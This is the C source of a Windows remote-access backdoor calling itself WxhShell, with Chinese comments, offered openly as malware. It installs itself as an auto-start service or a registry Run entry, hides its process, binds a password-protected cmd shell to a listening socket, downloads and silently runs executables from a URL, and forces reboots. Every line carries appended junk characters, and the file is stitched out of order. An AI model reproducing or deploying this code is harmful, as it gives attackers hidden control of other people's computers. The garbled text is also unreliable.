    if(Boot(SHUTDOWN)) +p jB/#4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J> ,w},`  
    else { VrfEa d  
    closesocket(wsh); ?Q"<AL>Z  
    ExitThread(0); (X5y%~;V5a  
    } {2Tu_2>  
    break; wVI_SQ<8V  
    } _s0)Dl6K  
  // 获取shell ( [a$Z2m  
  case 's': { Aep](je  
    CmdShell(wsh); OMo/a%`  
    closesocket(wsh); |k]]dP|:'  
    ExitThread(0); ) ] Ro  
    break; h~qvd--p0  
  } (7! pc  
  // 退出 HfH_jnR*  
  case 'x': { 9SA%'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %rrD+  
    CloseIt(wsh); %WR"qd&HSh  
    break; bw/mF5AsW  
    } qHyOaK Md  
  // 离开 Z{l`X#':  
  case 'q': { `# !>}/m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9$9a BW  
    closesocket(wsh); "x;FE<I  
    WSACleanup(); ~(tt.l#  
    exit(1); Uy|!f]"?  
    break; $'d,X@}8  
        } 1uKIO{d @  
  } ,+h<qBsV@  
  } >jTiYJI_M  
rc>}3?o  
  // 提示信息 Tyaqa0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); reYIF*  
} hMS:t(N{  
  } <liprUFsn  
A@d 2Ukv  
  return; Wql=PqF  
} bW/T}FN D  
7 u Q +]d  
// shell模块句柄 go6; _  
int CmdShell(SOCKET sock) |=VWE>g  
{ Df2$2VU  
STARTUPINFO si; ^e_uprZWm  
ZeroMemory(&si,sizeof(si)); QALr   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,+OVRc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wKfq'W{  
PROCESS_INFORMATION ProcessInfo; xqlnHf<G  
char cmdline[]="cmd"; ]xb2W~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e~># M $  
  return 0; ~X<$ l+5  
} 7tJ#0to  
:TKx>~`  
// 自身启动模式 XrMw$_0)  
int StartFromService(void) K+L9cv4 |*  
{ }c= Y<Cdh  
typedef struct \0;w7tdo  
{ /?Y4C)G  
  DWORD ExitStatus; w&es N$2  
  DWORD PebBaseAddress; Mkt_pr  
  DWORD AffinityMask; %M8Q6  
  DWORD BasePriority; 6kR3[]:16v  
  ULONG UniqueProcessId; Dh#5-Kf%  
  ULONG InheritedFromUniqueProcessId;  4y5Q5)j  
}   PROCESS_BASIC_INFORMATION; S_??G:i  
x+'Ea.^  
PROCNTQSIP NtQueryInformationProcess; kDQE*o  
l$HBYA\Qh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /']`}*d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &ns??:\+T  
cR55,DR,#W  
  HANDLE             hProcess; ih75 C"  
  PROCESS_BASIC_INFORMATION pbi; 5__B M5|  
V}2[chbl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?uP5("c  
  if(NULL == hInst ) return 0; i~<.@&vt  
&"Cy&[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x2b t^!t.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ag(JSVY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \7$"i5  
+Qzl-eN/+  
  if (!NtQueryInformationProcess) return 0; } 21!b :a  
cL#zE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OQg}E@LZ  
  if(!hProcess) return 0; 4 s9^%K\8{  
Edcv>}PfE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ) R5[a O  
&K=) YpT  
  CloseHandle(hProcess); ]*)l_mut7  
+>u 8r&Jw.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QJx<1#  
if(hProcess==NULL) return 0; ^ rO}'~(  
<5FGL96  
HMODULE hMod; 0R]'HA>  
char procName[255]; [{`&a#Q  
unsigned long cbNeeded; ?f:0GE7  
?e+y7K}"]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [V;u7Z\r-  
=&.9z 4A  
  CloseHandle(hProcess); PuBE=9,  
:Us+u-~  
if(strstr(procName,"services")) return 1; // 以服务启动 SD:Bw0gzrI  
.K#' Fec  
  return 0; // 注册表启动 y<v-,b*  
} fp3`O9+em  
JV !F<  
// 主模块 rJ6N'vw>  
int StartWxhshell(LPSTR lpCmdLine) (X2[}K  
{ ?g *.7Wc  
  SOCKET wsl; L0%W;m  
BOOL val=TRUE; <{Rz1CMc  
  int port=0; {[{jl G4H  
  struct sockaddr_in door; pVjOp~=U  
4~nf~  
  if(wscfg.ws_autoins) Install(); gKWUHlQY  
=|^R<#%/  
port=atoi(lpCmdLine); ~Hx>yn94e  
!L)|N<  
if(port<=0) port=wscfg.ws_port; @lh]? |*[  
Y31e1   
  WSADATA data; >oAXS\Ts  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q+U" %   
SU~ljAF4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '8@4FXK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^O"o-3dte  
  door.sin_family = AF_INET; ej(< Le\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >4=7t&h  
  door.sin_port = htons(port); }tH_YF}u  
DsHm,dZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w(y 9y9r]  
closesocket(wsl); criNeKa  
return 1; kp)1s>c  
} [ 4PiQyr  
q((%sWp  
  if(listen(wsl,2) == INVALID_SOCKET) { X:(t,g*7  
closesocket(wsl); iE ,"YCK  
return 1; 2ryg3% +O  
} ^'b\OUty-  
  Wxhshell(wsl); g- INhzMu  
  WSACleanup(); 7Mh!@Rd_V  
]<_v;Q<t  
return 0; s|:j~>53  
 bWZzb&  
} eQ =6< ^KZ  
OZ<fQf.Gh}  
// 以NT服务方式启动 B/JMH 1r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MBol_#H  
{ Fj&8wZ)v)  
DWORD   status = 0; [bBPs&7u  
  DWORD   specificError = 0xfffffff; ?,eq86-M  
v QDkZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l[{Ci|4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t: qPW<wc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ q$\  
  serviceStatus.dwWin32ExitCode     = 0; ;%xG bg!lg  
  serviceStatus.dwServiceSpecificExitCode = 0; Ui;PmwQc&  
  serviceStatus.dwCheckPoint       = 0; ,\E5et4  
  serviceStatus.dwWaitHint       = 0; 0p!N'7N  
IR<*OnKn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nF{>RD  
  if (hServiceStatusHandle==0) return; p0j-$*F  
3G-f+HN^E  
status = GetLastError(); Kw,ln<)2  
  if (status!=NO_ERROR) }#9 |au`  
{ `pYL/[5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3Tr}t.mt  
    serviceStatus.dwCheckPoint       = 0; '2c4 4F)i  
    serviceStatus.dwWaitHint       = 0; &6@e9ff0  
    serviceStatus.dwWin32ExitCode     = status; vKNxL^x  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?iNihE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \}NZ] l  
    return; u"M^qRhD  
  } [:-o;K\.-a  
Ix'GP7-m_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }J\KnaKo  
  serviceStatus.dwCheckPoint       = 0; 8:t1%O$  
  serviceStatus.dwWaitHint       = 0; %'<m[wf^ o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >`+-Yi$(\  
} 407;M%?'A  
T|lyjX$Q]9  
// 处理NT服务事件,比如:启动、停止 zd#/zUPI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h OF>Dj  
{ Y%]&h#F  
switch(fdwControl) Cr%6c3aQ  
{ Nyo,6 AA  
case SERVICE_CONTROL_STOP: &1,qC,:!  
  serviceStatus.dwWin32ExitCode = 0; t&Z:G<;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qf6}\0   
  serviceStatus.dwCheckPoint   = 0; SZ"^>}zl=  
  serviceStatus.dwWaitHint     = 0; Q5qQ%cu  
  { Sh RkL<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]; G$~[  
  } pM7xnL4  
  return; jRzQ`*KC#  
case SERVICE_CONTROL_PAUSE: E| =~rIKN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U2VnACCUZs  
  break; ^LJ?GJ$g  
case SERVICE_CONTROL_CONTINUE: J0"<}"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \.jT"Z~  
  break; &li&P5!i  
case SERVICE_CONTROL_INTERROGATE: ,c'a+NQ_t  
  break; ](H vx  
}; B%d2tsDw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7U{g'<  
} B|+tK  
S)d_A  
// 标准应用程序主函数 rJl'+Ae9N|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #y%?A;  
{ LXQ-J  
!t 92_y3  
// 获取操作系统版本 bAqaf#}e  
OsIsNt=GetOsVer(); iv62Fs'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &`4v,l^Zi6  
k,nRC~Irh  
  // 从命令行安装 K# dV.  
  if(strpbrk(lpCmdLine,"iI")) Install(); {yt]7^  
4C01=,6ye  
  // 下载执行文件 !kASEjFz|f  
if(wscfg.ws_downexe) { .&@|)u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >w j7Y`  
  WinExec(wscfg.ws_filenam,SW_HIDE); dN |w;|M  
} //ZB B,[@  
tx5_e [  
if(!OsIsNt) { 308w0eP  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?]9uHrdsN}  
HideProc(); .[ 1A  
StartWxhshell(lpCmdLine); Q=PaTh   
} U"m!f*a  
else kP;:s  
  if(StartFromService()) (= !_ 5l  
  // 以服务方式启动 D4'XBXmb  
  StartServiceCtrlDispatcher(DispatchTable); f!LZT!y  
else crgYr$@s?  
  // 普通方式启动 [b#jw,7  
  StartWxhshell(lpCmdLine);  b 1[U 9  
5)$U<^uy  
return 0; /=e[(5X|O  
} sWavxh8A  
ziH2<@  
j~Gu;%tq  
bq(*r:`"  
=========================================== g=U?{<8.m  
BLaX p0  
'd U$QO  
3:Z(tM&-O  
m]"YR_  
C4 Wdt  
" 3Vw%[+lY9  
-S,dG|  
#include <stdio.h> ]LSa(7>EU  
#include <string.h> 29qQ3M?  
#include <windows.h> uqQMS&;+,|  
#include <winsock2.h> JyB>,t)  
#include <winsvc.h> Uw&+zJ  
#include <urlmon.h> <q[ *kr  
'E&K%/d  
#pragma comment (lib, "Ws2_32.lib") ~:t2@z4p  
#pragma comment (lib, "urlmon.lib") p\-.DRwT`  
oC7#6W:@w  
#define MAX_USER   100 // 最大客户端连接数 _ZS<zQ'  
#define BUF_SOCK   200 // sock buffer t9`NCng 5  
#define KEY_BUFF   255 // 输入 buffer ~ml\|  
8OFrW.>[  
#define REBOOT     0   // 重启 Y}?@Pm drz  
#define SHUTDOWN   1   // 关机 E,6E-9  
rk. UW  
#define DEF_PORT   5000 // 监听端口 \FKIEg+(2  
6op\g].P  
#define REG_LEN     16   // 注册表键长度 RDqC$Gu  
#define SVC_LEN     80   // NT服务名长度 $1dI  
|Q I3H]T7  
// 从dll定义API  +;!w;t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WX=+\`NyJ(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P)\f\yb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3\WES!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F 5JgR-P  
f:UN~z'yr  
// wxhshell配置信息 GecXMAa:2  
struct WSCFG { ^Q OvK>W<  
  int ws_port;         // 监听端口 FN,uD:a  
  char ws_passstr[REG_LEN]; // 口令 B0KM~cCPQP  
  int ws_autoins;       // 安装标记, 1=yes 0=no g8x8u|  
  char ws_regname[REG_LEN]; // 注册表键名 \)#3S $L~  
  char ws_svcname[REG_LEN]; // 服务名 Q` s(T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 * ;M?R?+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )xK!i.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b,`\"'1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nWl0R=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $U0(%lIU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MnS"M[y3  
@'rO=(-b  
}; % (.PRRI  
3PEs$m9e  
// default Wxhshell configuration }GC{~ SZ4  
struct WSCFG wscfg={DEF_PORT, #rC/y0niH  
    "xuhuanlingzhe", \bsm#vY,  
    1, ibAA:I,d  
    "Wxhshell", gU%GM  
    "Wxhshell", 2?ednMoE  
            "WxhShell Service", Rd$<R  
    "Wrsky Windows CmdShell Service", T*ic?!  
    "Please Input Your Password: ", vJ'ho  
  1, s-ou;S3s  
  "http://www.wrsky.com/wxhshell.exe", A^Zs?<C-  
  "Wxhshell.exe" &p%ctg  
    }; K@,VR3y /  
V& nN/CF  
// 消息定义模块 .=FJ5?:4i%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #Nd+X@j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2X]\:<[4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B>mQ\Q  
char *msg_ws_ext="\n\rExit."; !I Nr  
char *msg_ws_end="\n\rQuit."; pqr" x2=.  
char *msg_ws_boot="\n\rReboot..."; a&[nVu+  
char *msg_ws_poff="\n\rShutdown..."; BY d3rI  
char *msg_ws_down="\n\rSave to "; onlyvH4  
/PCQv_Y&,/  
char *msg_ws_err="\n\rErr!"; yh)q96m-V=  
char *msg_ws_ok="\n\rOK!"; o&O!Ur  
`2oi~^.  
char ExeFile[MAX_PATH]; @hvq,[   
int nUser = 0; w&gHmi  
HANDLE handles[MAX_USER]; hJ@nW5CI  
int OsIsNt; ^v'Lu!\f  
k8JPu"R  
SERVICE_STATUS       serviceStatus; 9x1Dyz 2?F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;@ e |}Gk  
:+=*  
// 函数声明 IviWS84  
int Install(void); Pm_=   
int Uninstall(void); 21[F%,{.),  
int DownloadFile(char *sURL, SOCKET wsh); IW#(ICeb  
int Boot(int flag); #n"/9%35f`  
void HideProc(void); Pla EI p  
int GetOsVer(void); 88K*d8m  
int Wxhshell(SOCKET wsl); S!]}}fKEFm  
void TalkWithClient(void *cs); KOQTvJ_#  
int CmdShell(SOCKET sock); m+=!Z|K  
int StartFromService(void); S`G\Cd;5  
int StartWxhshell(LPSTR lpCmdLine); [ZbK)L+_  
&)l:m.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c>SeOnf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZS+2.)A  
-{h[W bf  
// 数据结构和表定义 (G VGoh&  
SERVICE_TABLE_ENTRY DispatchTable[] = )3AT=b  
{ i@* ^]'  
{wscfg.ws_svcname, NTServiceMain}, 9& j]  
{NULL, NULL} [oj"Tn(  
}; ||V:',#,W  
_+En%p.m  
// 自我安装 )R4<* /C:w  
int Install(void) :m\KQ1sq  
{ u_B SWhiW  
  char svExeFile[MAX_PATH]; hqPn~Tq  
  HKEY key; q*O KA5  
  strcpy(svExeFile,ExeFile); YYHm0pc  
.IXwa,  
// 如果是win9x系统,修改注册表设为自启动 y#+o*(=fRE  
if(!OsIsNt) { ?la_ +;m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f#5JAR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8=~>B@'  
  RegCloseKey(key); ShpnFuH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lI 1lP 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lNb\^b  
  RegCloseKey(key); ={^#E?  
  return 0; oK6lCGM5  
    } tOw 0(-:iq  
  } x8Sq+BY  
} _LNPB$P  
else { 7;NV 1RV  
2#3R]zIO  
// 如果是NT以上系统,安装为系统服务 y`\Mhnj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8GldVn.u  
if (schSCManager!=0) >Il`AR;D  
{ 9f\8oJQ  
  SC_HANDLE schService = CreateService ^v-'=1ub?  
  ( 919g5f`  
  schSCManager, QGd- 9UEA]  
  wscfg.ws_svcname, p0K;m%  
  wscfg.ws_svcdisp, ]aNnY?qW5  
  SERVICE_ALL_ACCESS, <Z' hZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lG9ARRy(=  
  SERVICE_AUTO_START, b U NYTF{  
  SERVICE_ERROR_NORMAL, rLxX^[Fp3  
  svExeFile, n^N]iw{G  
  NULL, M-N2>i#  
  NULL, ozLJ#eOE9  
  NULL, fP58$pwu  
  NULL, 2r,'4%G  
  NULL Gq/6{eRo\  
  ); k 5D'RD  
  if (schService!=0) ;L2bC3  
  { @'@6vC  
  CloseServiceHandle(schService); s~ A8/YoU}  
  CloseServiceHandle(schSCManager); Tm\[q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OU@x1G{Cy  
  strcat(svExeFile,wscfg.ws_svcname); V%lGJ]ZEa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :N*T2mP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C`wI6!  
  RegCloseKey(key); e6lOmgHn5  
  return 0; K"7;Y#1g  
    } K/`RZ!  
  } )1Nnn  
  CloseServiceHandle(schSCManager); RFY!o<   
} -G#k/Rz6  
} sG2 3[t8  
E]U0CwFtr  
return 1; (JW?azU  
} -P>=WZu  
:-La $I>  
// 自我卸载 fhKiG%i'l  
int Uninstall(void) 1m;*fs  
{ ,hLSRj{  
  HKEY key; V(LFH9.Mp  
.A)Un/k7  
if(!OsIsNt) { v`^J3A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UUu-(H-J  
  RegDeleteValue(key,wscfg.ws_regname); *`Xx_   
  RegCloseKey(key); }Y`<(V5:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bpa O`[*  
  RegDeleteValue(key,wscfg.ws_regname); ]31XX=  
  RegCloseKey(key); Xe;(y "pR  
  return 0; u3mT l  
  } -WvgK"k  
} e8mbEC(AK  
} _`i%9Ad.4  
else { BK9x`Oo2  
2, V+?'^j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %@n8 ?l4  
if (schSCManager!=0) ir:~*|  
{ _G #"B{7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;+34g6  
  if (schService!=0) ^z}lGu  
  { ~49N  
  if(DeleteService(schService)!=0) { /I'u/{KB  
  CloseServiceHandle(schService); 9+ l3 $  
  CloseServiceHandle(schSCManager); e~.?:7t  
  return 0; Yc`j   
  } )kKmgtj  
  CloseServiceHandle(schService); o Xi}@  
  } Du:p!nO  
  CloseServiceHandle(schSCManager); ,GkW. vEU  
} An #Hb=  
} s%[GQQ-N  
UXPegK!  
return 1; Wk#h,p3  
} 34wM%@D*c  
t-*|Hfp*^  
// 从指定url下载文件 s^YTI\L \  
int DownloadFile(char *sURL, SOCKET wsh) q%k(M[  
{ }BdVD t  
  HRESULT hr; dIpW!Pj^  
char seps[]= "/"; 8+ F}`lLA  
char *token; D`:d'ow~KQ  
char *file; uO@3vY',n  
char myURL[MAX_PATH]; br;H8-   
char myFILE[MAX_PATH]; ()M@3={R  
7k=F6k0)  
strcpy(myURL,sURL); B$TChc3B  
  token=strtok(myURL,seps); @ Rx6 >52>  
  while(token!=NULL) |4S?>e  
  { @D~+D@i$TW  
    file=token; 'nWs0iH.  
  token=strtok(NULL,seps); 9/ 1+BQ  
  } p^igscPF6  
$@_t5?n``F  
GetCurrentDirectory(MAX_PATH,myFILE); J4v0O="  
strcat(myFILE, "\\"); gZlw  
strcat(myFILE, file); \D U^idp#  
  send(wsh,myFILE,strlen(myFILE),0); xDGS`U  
send(wsh,"...",3,0); guOSO@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PN"8 Y  
  if(hr==S_OK) .6ngo0<g   
return 0; H >:4MY  
else a=*ALd_&0  
return 1; MuoctW  
;=-j;x  
} 6L,lq;  
{(z(NgXG/  
// 系统电源模块 UM( l%  
int Boot(int flag) jc&/}o$K  
{ }\f(qw  
  HANDLE hToken; +rsl( 08FY  
  TOKEN_PRIVILEGES tkp; g 6VD_  
?QMclzh*-  
  if(OsIsNt) { o"#TZB+k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }B=qH7u.K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YWRE&MQ_  
    tkp.PrivilegeCount = 1; w=D%D8 r2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UV']NH h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _2m[(P9d  
if(flag==REBOOT) { O}MZ-/z=o~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xY2}Wr j,  
  return 0; Ni!;-,H+E  
} k%]DT.cE  
else { dv'E:R(a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =@JS88+  
  return 0; n</k/Mk}  
} p,w|=@=  
  } w53z*l>ek  
  else { }F{C= l2  
if(flag==REBOOT) { G(As%r]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GG_^K#*  
  return 0;  ,v*p  
} *M wfod  
else { #d Z/UM(u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M'umoZmW0  
  return 0; QJ#u[hsMFp  
} T9z4W]T  
} fW.GNX8  
,@Fgr(?'`>  
return 1; p@/(.uE  
} M|UxE/  
YX ;n6~y  
// win9x进程隐藏模块 j|[(*i%7|  
void HideProc(void) w%3Fg~Up  
{ hdd>&?p3  
@PQrmn6w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .pM &jni Y  
  if ( hKernel != NULL ) Z 7s;F}=  
  { 3@^>#U   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hN gpp-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -DP8NTl"  
    FreeLibrary(hKernel); G la@l<  
  } Hz}+SAZ  
&Y,Q>bu  
return; +{xMIl_  
} G{kj}>kS_  
^:4L6  
// 获取操作系统版本 (Sth:{;  
int GetOsVer(void) ^\M dl  
{ ,`<^F:xl  
  OSVERSIONINFO winfo; +_qh)HX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ytjK++(T5  
  GetVersionEx(&winfo); ~`t%M?l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rIeM+h7Wn  
  return 1; :E>&s9Yj?  
  else rH9uGm-*  
  return 0; h?0F-6z  
} V@vhj R4r\  
eo1&.FQu  
// 客户端句柄模块 XzT78  
int Wxhshell(SOCKET wsl) b fp,zs  
{ \ Y*h  
  SOCKET wsh; })@tA<+  
  struct sockaddr_in client; \ V6   
  DWORD myID; )xB$LJM8  
dh&W;zs  
  while(nUser<MAX_USER) 7p)N_cJD  
{ aZ`<PdA  
  int nSize=sizeof(client); 9nn>O?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bvl~[p$W3  
  if(wsh==INVALID_SOCKET) return 1; $^}[g9]1  
jip\4{'N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z'Kd^`mt 9  
if(handles[nUser]==0) 7}Bj|]b)~  
  closesocket(wsh); 0$tjNy e  
else N~;*bvW{  
  nUser++; 6sPk:5  
  } \e<mSR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9b1?W?"  
Bi e?M  
  return 0; SD?BM-&~  
} BI};"y  
`dDa}b  
// 关闭 socket dFQ o  
void CloseIt(SOCKET wsh) `gt:gx>a  
{ !"Qb}g  
closesocket(wsh); 7Rnm%8?T  
nUser--; Yp*,Jp1  
ExitThread(0); ,j y<o+!  
} P/ci/y_1  
D?^540,b  
// 客户端请求句柄 wa!zv^;N*  
void TalkWithClient(void *cs) #e/2C  
{ T|ZF/&XP  
:c y >c2  
  SOCKET wsh=(SOCKET)cs; Q!yb16J  
  char pwd[SVC_LEN]; XYe~G@Q Z  
  char cmd[KEY_BUFF]; ,yICNtP  
char chr[1]; /}Yqf`CZy  
int i,j; Hle\ON  
6 }!Z"  
  while (nUser < MAX_USER) { pTWg m\h  
,9mgYp2  
if(wscfg.ws_passstr) { e 8,{|a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h3kaD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CM9XPr  
  //ZeroMemory(pwd,KEY_BUFF); Gzw@w{JBL  
      i=0; A:eFd]E{(  
  while(i<SVC_LEN) { OUzR@$  
thuRNYv <  
  // 设置超时 &|b4\uj9  
  fd_set FdRead; )CLf;@1  
  struct timeval TimeOut; y;nvR6)  
  FD_ZERO(&FdRead);  `?|Rc  
  FD_SET(wsh,&FdRead); d ",(a Z  
  TimeOut.tv_sec=8; D+sQPymI  
  TimeOut.tv_usec=0; Lz@$3(2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :&qhJtGo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yl$F~e1W  
O2.' -  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >7'+ye6z  
  pwd=chr[0]; '.(~  
  if(chr[0]==0xd || chr[0]==0xa) { H<`\bej,  
  pwd=0; &vkjmiAS  
  break; ;L~p|sF  
  } }3Y <$YL"R  
  i++; _A{+H^,  
    } (WRMaI72(  
Fu7M0X'p  
  // 如果是非法用户,关闭 socket fN)x#?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o@W_ai_  
} mu[Op*)  
SO;N~D1Z6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2no$+4+z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o5swH6Y.)J  
iA'As%S1  
while(1) { /[ K_ &  
qsI^oBD"  
  ZeroMemory(cmd,KEY_BUFF); QXVC\@  
nBz`q+V  
      // 自动支持客户端 telnet标准   +j{Y,t{4  
  j=0; eY,O@'"8`  
  while(j<KEY_BUFF) { V}" g~=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :et#0!  
  cmd[j]=chr[0]; =dzWmL<~8  
  if(chr[0]==0xa || chr[0]==0xd) { $DebXxJw0l  
  cmd[j]=0; $6h*l T<  
  break; J;}3t!  
  } ?Ik4  
  j++; ~y /!fnv  
    }  D!F 2l_  
d'"r("w#  
  // 下载文件 E{y1S\7K  
  if(strstr(cmd,"http://")) { <*(^{a. O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :,S98z#  
  if(DownloadFile(cmd,wsh)) z.oU4c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Z;_TN9[  
  else T95t"g?p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5~'IKcW<  
  } C <B<o[:H  
  else { $,fy$ Qk,S  
L',mKOej  
    switch(cmd[0]) { ,Na^%A@TJ  
  i"r!w|j  
  // 帮助 65TfFcQ<S  
